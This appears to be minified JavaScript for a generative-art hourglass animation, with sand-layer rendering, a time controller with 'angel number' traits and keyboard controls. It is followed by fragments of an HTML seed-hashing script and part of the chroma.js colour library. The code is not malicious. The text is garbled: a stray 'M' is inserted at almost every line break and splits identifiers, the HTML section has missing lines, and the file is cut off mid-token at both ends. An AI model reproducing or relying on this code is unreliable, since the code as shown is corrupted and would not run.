DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
